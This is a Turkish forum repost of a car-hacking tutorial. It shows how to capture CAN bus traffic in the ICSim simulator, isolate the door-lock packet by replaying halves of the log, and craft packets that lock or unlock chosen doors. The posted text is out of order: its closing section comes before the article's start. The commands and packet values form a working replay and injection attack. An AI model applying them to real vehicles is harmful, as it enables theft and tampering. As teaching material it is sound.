Daha önce belirttiğimiz gibi, veriler üçüncü baytın ikinci yarım baytında değiştirilir. Bu küçük parçayı ikili formatına ayırırsak, onu şu şekilde gösterebiliriz:
8​
4​
2​
1​
ALTIGEN
0​
0​
0​
0​
0​
1​
1​
1​
1​
F​
Tüm kapıların kilidini açan paket, o kemirmeyi 0 olarak temsil eder . Tüm kapıları kilitleyen paket yarım baytlığı onaltılık F olarak temsil eder . Bunu ikiliye bölmek, 16 olası kapı kombinasyonu verir. 16 varyasyonun hepsini test etmek yerine, hangi bitin hangi kapıyı kontrol ettiğini manuel olarak belirlemeye çalışalım. Bunu yapmak için aşağıdaki organizasyonla 4 dosya daha oluşturmayı düşünebiliriz:
8​
4​
2​
1​
ALTIGEN​
KAPI​
1​
0​
0​
0​
8​
?​
0​
1​
0​
0​
4​
?​
0​
0​
1​
0​
2​
?​
0​
0​
0​
1​
1​
?​
Artık hangi bitin hangi kapıyı kontrol ettiğini belirlemek için 4 ayrı dosya oluşturabilir ve tekrar oynatabiliriz. Yeni veri paketleri şöyle görünecek ve her biri kendi dosyasında olacak:

(1654550641.304018) VCAN0 19B # 00000 8 000000

(1654550642.133853) VCAN0 19B # 00000 4 000000

(1654550641.304018) VCAN0 19B # 00000 2 000000

(1654550642.133853) VCAN0 19B # 00000 1 000000

Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#000008000000' > doors8
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#000004000000' > doors4
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#000002000000' > doors2
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#000001000000' > doors1
Bu gates # dosyalarının her birini yeniden oynatmak aşağıdaki bulgularla sonuçlanır:
8​
4​
2​
1​
ALTIGEN
KAPI​
1​
0​
0​
0​
8​
ARKA YOLCU​
0​
1​
0​
0​
4​
ARKA SÜRÜCÜLER​
0​
0​
1​
0​
2​
ÖN YOLCU​
0​
0​
0​
1​
1​
ÖN SÜRÜCÜLER​

q04pemf.png

Her kapının hareketini göz önüne alırsak, 1 kapıyı kilitlemek için ve 0 kapının kilidini açmak için harekettir. Hal böyle olunca kapılarımızı tanımladığımızda, tanımlanan kapıya kapıyı kilitleme talimatı verilirken, diğerlerine kilidi açma talimatı verildi. Artık araçtaki kapıları kilitlemek veya kilidini açmak için verilerde herhangi bir değişiklik yapabiliriz.

Bu makaleyi bitirmeden önce son bir örneğe bakalım. Aracın her iki arka kapısını da kilitlemek ve ön kapıların kilidini açmak istiyorsak, CAN paketindeki ikiliyi nasıl değiştirebiliriz?
ARKA YOLCU​
ARKA SÜRÜCÜ​
ÖN YOLCU​
ÖN SÜRÜCÜ​
8​
4​
2​
1​
ALTIGEN
?​
?​
?​
?​
?​
Kilit açma biti 0 ise ön kapıları 0 değeriyle doldurabiliriz . 1 değeri kapıların kilitlenmesine neden olur, bu nedenle sonuç şöyle olur:
ARKA YOLCU​
ARKA SÜRÜCÜ​
ÖN YOLCU​
ÖN SÜRÜCÜ​
8​
4​
2​
1​
ALTIGEN
1​
1​
0​
0​
C​
Bunun ikili sonucu 1(8) + 1(4) + 0(2) + 0(1) = 8+4+0+0 = 12 olacaktır. Onaltılık biçimde 12, C'dir . Bu, CAN paketimizi şu şekilde değiştirir:

(1654550641.304018) VCAN0 19B # 00000 C 000000

Bu paketle başka bir dosya oluşturalım ve buna “unlockFront” adını verelim. Bu paketi ağda tekrar oynayarak ve sonucu izleyerek test edebiliriz.
pfqf601.png

Her kapıyı başarılı bir şekilde kontrol ediyoruz ve istediğimiz kilitsiz/kilitli kapı kombinasyonunu yapabiliyoruz.

Daha fazla öğrenmek ister misiniz?

Bu makalenin başlarında belirtildiği gibi, araba korsanlığı hakkında daha fazla bilgi edinmek ve konuya daha derin bir dalış yapmak için harika bir kaynak, Craig Smith'in The Car Hacker's Handbook adlı kitabında ele alınmaktadır . Araba hackleme konusunda daha fazla gerçek dünya deneyimi edinmek istiyorsanız,Car Hacking Village ,topluluğuna da göz atmanızı tavsiye ederim. Diğer bazı değerli kaynaklar,CSS Electronics,Illmatics'tir.

Çözüm

Bu makalede, bir CAN veri yolunun ne olduğunu, araç iletişiminde nasıl rol oynadığını, bir simülasyon yürütmek için gerekli araçları kurmayı ve kilit açma veya kilitleme komutunu göndermek için sanal araçtaki her bir kapıyı kontrol etmeyi tanımlayabildik.

Araba korsanlığı biraz riskli olabilir, bu nedenle bu bilgiyi simüle edilmiş bir ortamda veya dikkatli bir şekilde kullanmanızı öneririz.Gerçek bir aracı hacklemeye karar verirseniz, lütfen her türlü olasılığı göz önünde bulundurduğunuzdan emin olun ve bunun riski size aittir.

NOT:Yapılan Hacklerden Ben Veya TurkHackTeam Ailesi Sorumlu Değildir.Konunun Bazı Kısımları Alıntıdır :)
iUBacd.gif
q6iq2ex.jpg
Eline saglik
 

unknownman1233

Yeni üye
31 Tem 2016
6
0
4. Boyut
6t3q7nb.png

Selam millet! Pek çok kişinin bilmediği rastgele bir bilgisayar korsanlığı konusu hakkında başka bir blog gönderisi paylaşmaktan mutluluk duyuyorum: Araba Hacking! Bu maddenin geçerliliğine inanmakla birlikte, araçlardaki tek saldırı vektörü olmadığını baştan belirtmek isterim. Umarım bu, cihazların ve sistemlerin nasıl analiz edilebileceği ve bu denetimlerin bir saldırgan tarafından nasıl kullanılabileceği ve hatta kötüye kullanılabileceği konusunda bazı içgörüler elde etmek için yaratıcı bir şekilde düşünmenin başka bir yolu olarak hizmet eder.

Bilgisayar korsanlığının saldırı açısından geldiği genel nüansına rağmen, bilgisayar korsanlığı çabalarından elde edilebilecek faydalar vardır. Araçlar söz konusu olduğunda, bu, bir araçtaki belirli özelliklerin kilidinin açılması, daha önce var olan limitlerin kaldırılması veya olumlu sonuç verebilecek yeni teknolojinin yaratılmasına yardımcı olma şeklinde olabilir (bazı araba sigorta şirketlerinin sağladığı cihazlar gibi) bir müşteri 'iyi sürücü' indirimi alabilir). Bu fikirlerden burada bahsedilirken, o kadar derine inmeyeceğiz.

Ayrıca, bu makalede belirtilen kavramları denerseniz ve bunun olumsuz bir sonucu olursa, yazar veya Offensive Security'nin sorumlu tutulmayacağı söylenmelidir. Bir aracı hacklerken risk olabilir. Fiziksel bir aracı hacklemeye karar verirseniz, bunun riski size aittir. Neyse ki, bu makalede egzersiz fırsatları sağlamak ve uygulamalı deneyim kazanmak için sanal bir seçenek ele alınacaktır.

Bununla birlikte, bir CAN veri yolunun ne olduğunu açıklayarak başlayalım!

CAN veriyolu nedir?

CAN veri yolu (Denetleyici Alan Ağı veri yolu), bir aracın bileşenleri ile iletişim kurduğu merkezi bir ağdır. Bunu aracın elektrik sinyalleri ile çalışan birçok fonksiyonu olması açısından düşünebiliriz. Arabada kapı kilitleri, bir hız göstergesi, bir gaz göstergesi, frenler için kontroller, gaz pedalı için kontroller ve çok daha fazlası var. Bu cihazların çoğu, bu ağ üzerinden iletişim kurar.

OBD-II

OBD-II (Yerleşik teşhis 2) konnektörü, araç kodlarının kolayca teşhis edilmesini sağlayan araç üzerindeki bir bağlantı noktasıdır. Çoğu zaman araçlarımızı bir tamirciye getirdiğimizde aracın gönderdiği hata kodunu almak için bu porta bir bilgisayar cihazı takarlar. Bu, kontrol motoru ışığını açmış olabilecek sorunlar veya hatta bir göstergeyle sonuçlanmayan sorunlar için çok daha hızlı çözümler sağlar.

Bu bağlantı noktalarına erişim genellikle çok kolaydır. Normalde pedalların yanında ön panelin altında, direksiyon kolonunun arkasında ve hatta yolcu tarafında ön panelin altında bulunurlar. İşte OBD-II bağlantı noktasındaki bir fişin resmi:

pscogal.png

Bu porta fiziksel bir bağlantı sağlanması açısından CANtact gibi bir cihaz satın alınabilir hatta yapılabilir . Fiziksel cihazın kullanılması bu makalenin kapsamı dışında kalacaktır, ancak bu makalede ele alınan hack, ister fiziksel bir araçta ister sanal simülatörde yapılsın aynıdır. CAN veriyolunda iletişim kurmak için erişim noktası OBD-II bağlantı noktası olacaktır.

CAN Veri Yolu Ağı Temelleri

Yerel CAN veri yolu ağında, paketler bir hub gibi gönderilir ve alınır. Bir merkeze aşina olmayanlarınız için, veri paketleri tüm cihazlar tarafından görülebilir. Bu konudaki yabani otlara fazla girmek istemiyorum, ancak anahtarların veri paketlerinin bir hedeften diğerine paylaşımını kontrol ettiğini, oysa bir hub'ın paketleri o ağ cihazındaki herkese gönderdiğini bilin. Hub'lar gürültülüdür ve o ağa kulak misafiri olma özelliğinden dolayı güvensiz bir ağ cihazı olarak kabul edilir.

Bununla birlikte, bu makalenin esas olarak odaklanacağı kapı kilitlerini ele alalım. Kapımızdaki kilit düğmesine basarsak, CAN bus üzerinden ağdaki her cihaza bir elektrik sinyali gönderilir ve kapılar veri paketini yorumlar. Veri paketinde bir komut olacaktır: kilitle veya kilidini aç. Veri paketini alan kapılar, bu talimatı alacak ve veri paketindeki yönergeyi uygulayacaktır.

Araçta bulunan birçok cihaz bu şekilde çalışmakta, burada bir aksiyon tetiklenmekte, ağ üzerinden veri gönderilmekte ve veri paketinin tanımladığı ile ilgili cihaz harekete geçmektedir. Gaz pedalına basmak, ağda gaz akışının artmasını söyleyen veri paketlerinin gönderilmesine ve dolayısıyla arabanın daha hızlı gitmesine neden olur. Bu da, hız göstergesinin aracın gittiği uygun hızı yansıtması için yükselmesine neden olabilir. Hız göstergesinin yükselme miktarı, ağda gönderilen ve gaz pedalına ne kadar basıldığına bağlı olarak değişen talimatlara bağlı olacaktır.

Ağda gönderilen paketler iki bölümden oluşur: tanımlayıcı ve veriler. Tanımlayıcı, cihazın araçtaki temsilidir. Veri alanı, söz konusu cihazla tamamlanması gereken talimatı temsil eder. Aşağıdaki örneği ele alalım:

120 # F289632003200320

Paketin başlangıç bölümü tanımlayıcıdır. Bu durumda tanımlayıcı 120'dir. Paketin #'den sonra kalan kısmı veri alanıdır.

Örnek olarak bu tanımlayıcıyı ve veri segmentini kullanıyor olsak da, tanımlayıcının yıl, marka ve model olarak farklı araçlar arasında aynı olmayacağını bilmek önemlidir. 120'nin tanımlayıcısı, 2019 Honda Civic'teki gaz pedalı (gaz pedalı) olabilir, ancak 2022 Toyota Sienna'daki camlar olabilir. Bununla, tanımlayıcı etiketi olan bir aracın cihazlarını tanımlayabiliriz, ancak yalnızca aynı yıl/marka/modele sahip diğer araçlar, bu tanımlayıcı etiket değeriyle kontrol edilen aynı cihaza sahip olacaktır.

CAN veri yolu hakkında bilinmesi gereken son şey, paketlerin bu ağ üzerinden sürekli olarak gönderildiğidir, araçta herhangi bir güç olduğu sürece (yani motorun çalıştırılmasına gerek yoktur), ağ aktif olacaktır.

Hack nedir?

Bu durumda hack, CAN veri yolu ağına yapılan bir tekrar saldırısıdır. Ağda gönderilen paketleri dinleyebilir, bir eylemi manuel olarak tamamlayabilir (bizim durumumuzda kapıları kilitleme/kilit açma) ve aynı eylemin gerçekleşmesini sağlamak için paketleri ağa geri oynatabiliriz - kilitleme/kilit açma düğmelerine rağmen basılıyor.

Bu bilgisayar korsanlığı alıştırmasını tamamlamadan önce, dahili bir sanal simülatörde bunu yapmak için gerekli araçları nasıl kuracağımıza bir göz atalım.

Araçları Ayarlama

Aşağıdaki adımlar, VirtualBox üzerinde yeni bir Kali 2022.2 kurulumunda tamamlanmıştır. Bu makaleyi idare edilebilir bir uzunlukta tutmak için, bu VirtualBox veya Kali kurulumları ele alınmayacaktır. Kali-tweaks yardımcı programı, varsayılan iki satırlık çıktıyı tek bir satıra değiştirmek için de çalıştırıldı . Bu süreçte kuracağımız üç araç var:

  • ICSim (Enstrüman Kümesi Simülatörü)
  • Soketcand
  • Kayık
Öncelikle Kali makinemize önkoşul paketleri yükleyelim
Kod:
kali@kali:~$ sudo apt install libsdl2-dev libsdl2-image-dev can-utils maven autoconf

[sudo] password for kali:

…

Do you want to continue? [Y/n] Y
…
Çalışmak için bir “Car_Hacking” dizini oluşturalım ve o dizine girelim.
Kod:
kali@kali:~$ mkdir Documents/Car_Hacking
kali@kali:~/Documents/Car_Hacking$ cd Documents/Car_Hacking
Yeni oluşturulan dizinin içinde ICSim Git deposunu klonlayalım .
Kod:
kali@kali:~/Documents/Car_Hacking$ git clone https://github.com/zombieCraig/ICSim.git
Cloning into 'ICSim'...
remote: Enumerating objects: 135, done.
remote: Counting objects: 100% (5/5), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 135 (delta 1), reused 3 (delta 1), pack-reused 130
Receiving objects: 100% (135/135), 1.09 MiB | 2.68 MiB/s, done.
Resolving deltas: 100% (68/68), done.
Mevcut çalışma dizinimize klonlanmış ICSim deposu ile ICSim dizinine girelim ve gerekli ikiliyi yapmak için kodu derleyelim.
Kod:
kali@kali:~/Documents/Car_Hacking$ cd ICSim
kali@kali:~/Documents/Car_Hacking/ICSim$ sudo make
gcc -I/usr/include/SDL2   -c -o icsim.o icsim.c
gcc -I/usr/include/SDL2 -o icsim icsim.c lib.o -lSDL2 -lSDL2_image
gcc -I/usr/include/SDL2   -c -o controls.o controls.c
gcc -I/usr/include/SDL2 -o controls controls.c -lSDL2 -lSDL2_image
Car_Hacking dizinine geri dönelim ve socketcand deposunu da kopyalayalım .
Kod:
kali@kali:~/Documents/Car_Hacking/ICSim$ cd ..

kali@kali:~/Documents/Car_Hacking$ git clone https://github.com/linux-can/socketcand.git
Cloning into 'socketcand'...
remote: Enumerating objects: 923, done.
remote: Total 923 (delta 0), reused 0 (delta 0), pack-reused 923
Receiving objects: 100% (923/923), 273.95 KiB | 931.00 KiB/s, done.
Resolving deltas: 100% (547/547), done.
Yerine klonlanan socketcand deposu ile paketi yapılandıralım, derleyelim ve yükleyelim. Eksik bir dosya var, bu yüzden o dosyayı yerine kopyalayarak başlamamız gerekecek.
Kod:
kali@kali:~/Documents/Car_Hacking$ cd socketcand
kali@kali:~/Documents/Car_Hacking/socketcand$ wget https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.in
https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.in
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3773 (3.7K) [text/plain]
Saving to: ‘config.h.in’
config.h.in         100%[================>]   3.68K  --.-KB/s    in 0s 
2022-06-06 10:52:38 (80.8 MB/s) - ‘config.h.in’ saved [3773/3773]
Başlık dosyası yerindeyken paketi yapılandıralım, derleyelim ve yükleyelim.
Kod:
kali@kali:~/Documents/Car_Hacking/socketcand$ autoconf
configure.ac:6: warning: The macro `AC_CONFIG_HEADER' is obsolete.
configure.ac:6: You should run autoupdate.
./lib/autoconf/status.m4:719: AC_CONFIG_HEADER is expanded from...
configure.ac:6: the top level
kali@kali:~/Documents/Car_Hacking/socketcand$ ./configure
checking for gcc... gcc
checking whether the C compiler works... yes
…
kali@kali:~/Documents/Car_Hacking/socketcand$ make clean             
rm -f socketcand socketcandcl *.o
kali@kali:~/Documents/Car_Hacking/socketcand$ make 
gcc -Wall -Wno-parentheses -DPF_CAN=29 -DAF_CAN=PF_CAN -DHAVE_CONFIG_H   -I . -I ./include -o socketcand ./socketcand.c ./statistics.c ./beacon.c ./state_bcm.c ./state_raw.c ./state_isotp.c ./state_control.c -lpthread
gcc -Wall -Wno-parentheses -DPF_CAN=29 -DAF_CAN=PF_CAN -DHAVE_CONFIG_H   -I . -I ./include -o socketcandcl ./socketcandcl.c
kali@kali:~/Documents/Car_Hacking/socketcand$ sudo make install                                                 
mkdir -p /usr/local/bin
cp ./socketcand /usr/local/bin/
cp ./socketcandcl /usr/local/bin/
mkdir -p /usr/local/share/man
cp ./socketcand.1 /usr/local/share/man/
mkdir -p /etc/
install -m 0644 ./etc/socketcand.conf /etc/
if [ yes = yes ]; then mkdir -p /etc/init.d; install --mode=755 ./init.d/socketcand /etc/init.d/socketcand; fi
if [ no = yes ]; then install --mode=755 ./rc.d/socketcand /etc/rc.d/socketcand; fi
Socketcand yüklendikten sonra, "Car_Hacking" dizinine geri dönelim ve Kayak Git deposunu klonlayalım
Kod:
kali@kali:~/Documents/Car_Hacking/socketcand$ cd ..

kali@kali:~/Documents/Car_Hacking/$ git clone https://github.com/dschanoeh/Kayak.git
Cloning into 'Kayak'...
remote: Enumerating objects: 6298, done.
remote: Total 6298 (delta 0), reused 0 (delta 0), pack-reused 6298
Receiving objects: 100% (6298/6298), 2.90 MiB | 4.58 MiB/s, done.
Resolving deltas: 100% (1927/1927), done.
Artık Kayak dizinine geçebilir ve Maven ile paketi kurabiliriz.
Kod:
kali@kali:~/Documents/Car_Hacking/Kayak$ cd Kayak
kali@kali:~/Documents/Car_Hacking/Kayak$ mvn clean package
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[INFO] Scanning for projects...
...

Hack'i Yürütme

Bu işlem için aynı anda birden fazla terminal sekmesi ile çalışmamız gerekecek. Bu işlevlerin her biri için ayrı bir sekmeye ihtiyacımız olacak:

  • Simülatörü çalıştır
  • Kontrolleri çalıştır
  • Veri paketlerini yakalayın ve yeniden oynatın
Simülatörü ilk sekmede başlatalım. Bunun ilk adımı vcan (sanal CAN) arayüzünü kurmaktır. ICSim dizinine geçelim ve kurulum betiğini çalıştıralım.
Kod:
kali@kali:~/Documents/Car_Hacking/Kayak$ cd ../ICSim

kali@kali:~/Documents/Car_Hacking/ICSim$ ./setup_vcan.sh
[sudo] password for kali:
Arayüz kurulumu ile yeni oluşturulan arayüz üzerinde sanal simülatörü başlatabiliriz. Bu, oluşturduğumuz ilk vcan arayüzü olduğu için vcan0 olacaktır.
Kod:
kali@kali:~/Documents/Car_Hacking/ICSim$ ./icsim vcan0 
Using CAN interface vcan0
Terminalde ikinci bir sekme açıp kontrollere başlayalım.
Kod:
kali@kali:~/Documents/Car_Hacking/ICSim$ ./controls vcan0
 Warning: No joysticks connected
Hangi sekmenin hangi işleve gittiğini takip etmek için terminal oturumu sekmelerini yeniden adlandırdım ve ICSim uygulaması açıkken ekran şimdi böyle görünüyor.
pcq7mtb.png

İstesek bilgisayara bir kumanda bağlayıp o kumandayı araç komutlarını değiştirmek için kullanabiliriz. Bu makale için, simülatörü manipüle etmek için klavye tuşlarını kullanacağız.
Bu, kontrollere ve bunların alet kümesi simülatörünü nasıl etkilediğine alışmak için iyi bir zaman olacaktır. CANBus Kontrol Paneli penceresi aktifken sanal aracımızı manipüle etmeye başlayabiliriz. Örneğin SOL ok tuşunu basılı tutarsak sola dönüş sinyalleri yanıp sönecektir. YUKARI oka basarsak , aracın hızlandığını simgeleyen hız göstergesi artacaktır. Yukarıdaki resimde tüm kapılar kilitli. Sağ SHIFT+A|B|X|Y tuşlarına basarsak , her seferinde bir kapının kilidi açılır. Sol SHIFT tuşu, kapı düğmelerinden herhangi birine basıldığında kapıları tekrar kilitleyecektir. Sol SHIFT'e ve ardından Sağ SHIFT'e basarsak, tüm kapıların kilidi açılır.

Bir kapının kilidi zaten açılmışsa, kapı zaten kilitsiz durumda olduğundan IC Simülatör penceresi bir değişiklik göstermeyecektir. Şimdilik, aracın tüm kapılarının kilidini açmaya ve kilitlemeye odaklanalım. Tüm kapılar kilitliyken başlayarak, tüm kapıların kilidini açmak için Sola SHIFT'e ve ardından Sağa SHIFT'e basacağız. Ardından, tekrar kilitlemek için Sağ SHIFT'e ve ardından Sol SHIFT'e basacağız . Aşağıdaki resimler, ekranın nasıl görünmesi gerektiğini göstermektedir.
mtc8dvz.png
9nm0s82.png

Şimdi, veri paketi yakalama ve yeniden oynatma ile çalışmak için başka bir sekme başlatalım. Dizin yapımızı dağınık hale getirmemek için, içinde çalışacağımız bir Demo dizini oluşturacağız.
Kod:
kali@kali:~/Documents/Car_Hacking$ mkdir Demo
kali@kali:~/Documents/Car_Hacking$ cd Demo
Artık Demo'da olduğumuza göre, loglama için -l seçeneği ile candump yardımcı programını vcan arabiriminde çalıştıralım .
Hiçbir şey yapmadan bunu 5 saniye çalıştıracağız ve dinleyiciyi durdurmak için CTRL-C tuşlarına basacağız.
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ candump vcan0 -l
Disabled standard output while logging.
Enabling Logfile 'candump-2022-06-06_141619.log'
^C
 kali@kali:~/Documents/Car_Hacking/Demo$ ls
candump-2022-06-06_141619.log
Hiçbir şey yapmamamızın ve yalnızca dinleyiciyi başlatıp durdurmaya odaklanmamızın nedeni, bir CAN veri yolu ağının ne kadar gürültülü olabileceğini göstermektir. Bir satır sayımı için kelime sayma komutunu ( wc ) çalıştıralım ve dinleyicimizin açık olduğu 5 saniyede kaç paket gönderildiğini gözlemleyelim.
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ wc -l candump-2022-06-06_141619.log
13757 candump-2022-06-06_141619.log
Dinleyicinin 5 saniyesi içinde ağa 13.757 paket gönderildi. Henüz kontrolörle herhangi bir komut bile göndermedik!

Daha fazla ilerlemeden önce, oyun planımızı ortaya koyalım. Bu hack için, kapıları manipüle etmekten hangi tanımlayıcının sorumlu olduğunu belirlemek istiyoruz. Mümkün olduğunca çabuk, şu adımları uygulayacağız:
  1. vcan0 arabiriminde oturum açarak candump'ı başlatın
  2. CANbus Kontrol Paneli penceresini aktif hale getirin
  3. Tüm kapıların kilidini aç
  4. tüm kapıları kilitle
  5. Candump terminal penceresinde tıklayın
  6. Ağ yakalamayı durdurmak için CTRL-C'ye basın
Amacımız, günlük dosyasını olabildiğince küçük tutmak için yukarıdaki adımları olabildiğince çabuk tamamlamaktır. Dosyaları karıştırmamak için başlamadan önce önceki günlüğü de sileceğiz.
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ rm candump-2022-06-06_141619.log
kali@kali:~/Documents/Car_Hacking/Demo$ candump vcan0 -l               
Disabled standard output while logging.
Enabling Logfile 'candump-2022-06-06_142359.log'
^C
Yukarıda listelenen adımlar tamamlandı ve terminal çıktısı yukarıda gösterildi. Yeni oluşturduğumuz log dosyasında satır sayısını göstermek için wc komutunu çalıştıralım
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ wc -l candump-2022-06-06_142359.log
9293 candump-2022-06-06_142359.log
Artık ağda gönderilen 9.293 paket içeren yeni bir günlük dosyamız var.

Şimdi bu günlük dosyasını ağa geri oynatmak ve IC Simulator penceresini izlemek için canplayer yardımcı programını kullanalım. Her şey yolunda giderse, kapıların kilidinin açılıp tekrar kilitlendiğini göreceğiz. -I (büyük harf) seçeneği ile log dosyamızı belirtebiliriz .
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I candump-2022-06-06_142359.log
Ne yazık ki, bir makale sonuçları paylaşmanın en kolay yolu değildir. Bu etkinliği yaparken, günlük dosyamızı yeniden oynatmak, sanal aracın kapılarının kilidinin açılmasına ve tekrar kilitlenmesine neden oldu.

Günlük tekrarının istek üzerine çoğaltmak istediğimiz eylemi gerçekleştirdiğini doğruladığımıza göre, kapı işlemlerinden hangi paketlerin sorumlu olduğunu bulma algoritmasına bakmamız gerekiyor. Aşağıdaki görüntü, Craig Smith tarafından yazılan “The Car Hacker's Handbook”un 77. sayfasından alınmıştır.
ddytwpx.png
Doğrulanmış günlük dosyası istediğimiz eylemi gerçekleştirirken, eylemin dosyanın neresinde gerçekleştiğine dair en iyi tahminde bulunabiliriz. Bu tahminle, dosyanın ilk yarısını veya son yarısını oynatmaya karar verebiliriz. Orijinal dosyayı ikiye böleceğiz ve canplayer yardımcı programı ile tekrar oynatacağız. Yeni dosyayı yeniden yürüttüğümüzde, IC Simulator penceresinde istenen eylemin gerçekleşip gerçekleşmediğini izleyeceğiz. Yeniden oynatılan dosya simülatörde etkiye neden oluyorsa, o dosyayı tekrar ikiye böleceğiz ve yarılardan birini yeniden oynatacağız. Simülatörde etkiye neden olmazsa, dosyanın diğer yarısını alabilir, tekrar oynatabilir ve eylemin dosyanın bu yarısında olduğunu doğrulayabiliriz.

Bu algoritmanın yeterince yinelenmesiyle, kapıların kilidini açmaktan sorumlu CAN paketini izole edebileceğiz. Ayrıca bu günlük dosyasını yarıya indirme sürecinde , dosyayı tekrar oynatmadan önce kapıları kilitlemek için CANbus Kontrol Paneli penceresindeki kontrolleri manuel olarak kullanmamız gerekecek bir noktaya geleceğiz . Unutmayın, kapılar zaten açık durumdaysa IC Simülatörü bir değişiklik göstermez.

-n seçeneğiyle head veya tail kullanabilir ve dosyanın yaklaşık yarısını yeniden oynatmak için alabiliriz. Her yinelemeyi açıklamadan, kapı kilidi açma CAN paketinin tanımlanmasına ulaşmak için komut çıktısını burada bulabilirsiniz:

Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 4600 candump-2022-06-06_142359.log > split1
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split1
kali@kali:~/Documents/Car_Hacking/Demo$ wc -l split1                   
4600 split1
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 2300 split1 > split2
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split2
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 1100 split2 > split3
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split3
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 500 split3 > split4
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split4   
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 200 split4 > split5
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split5   
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 200 split4 > split5
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split5   
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 100 split5 > split6
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split6
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 100 split5 > split6
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split6   
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 50 split6 > split7
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split7   
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 25 split7 > split8
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split8   
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 25 split7 > split8
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split8   
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 10 split8 > split9
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split9   
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock 
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 10 split8 > split9
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split9   
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 5 split9 > split10
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split10 
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 2 split10 > split11
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split11   
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 2 split10 > split11
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split11   
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock                                                                         
kali@kali:~/Documents/Car_Hacking/Demo$ cat split10
(1654550641.303029) vcan0 17C#0000000010000030
(1654550641.303046) vcan0 18E#00007A
(1654550641.304018) vcan0 19B#000000000000
(1654550641.305246) vcan0 294#040B0002CF5A002C
(1654550641.305260) vcan0 21E#03E8374522062F
Ağ trafiği tekrarının son kısmı, 5 satırın son 2'sini ve ardından 5 satırın ilk 2'sini aldı. Her iki bölünmüş dosya çalışmadan, bu dosyanın ortasının kapıların açılmasını kontrol eden paket olduğunu anlayabiliriz. Yine de bunu sadece bir kesintiye bırakmayalım. Bu satırı, “doorsUnlock” adlı kendi dosyasına kopyalayalım ve davranışı gözlemlemek için o dosyayı yeniden oynatalım.
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550641.304018) vcan0 19B#000000000000' > doorsUnlock
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I doorsUnlock
4hr7p7j.png

IC Simülatöründeki kapılar bu tek CAN paketi ile açıldı. Bu paketin içeriğini inceleyelim.https://www.offensive-security.com/wp-content/uploads/2022/07/04.png

(1654550641.304018) VCAN0 19B # 000000000000

Paketin ilk vurgulanan bölümü tanımlayıcıdır. Bu, kapıların onaltılık 19B kodunun bir cihaz işaretleyicisi ile tanımlandığı anlamına gelir . Paketin vurgulanan ikinci kısmı verilerdir. Bu durumda, verilerin tümü 0'lara ayarlanmıştır , bu nedenle bu, kapı talimatı gönderme ihtiyacımız için pek yardımcı olmaz.

İşlemimizin başında da kapıyı kilitlemiş olmamızın nedeni budur. Bilinen kapı tanımlayıcısı ile, paketin veri kısmında hangi varyasyonların var olduğunu görmek için bu tanımlayıcı için orijinal paket yakalamayı arayabiliriz. 19B için orijinal dosyada grep komutunu çalıştıralım .
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ grep 19B candump-2022-06-06_142359.log (1654550641.304018) vcan0 19B #00000 0 000000  (1654550642.133853) vcan0 19B #00000 F 000000  (1654550642.366332) vcan0 244#000000019B
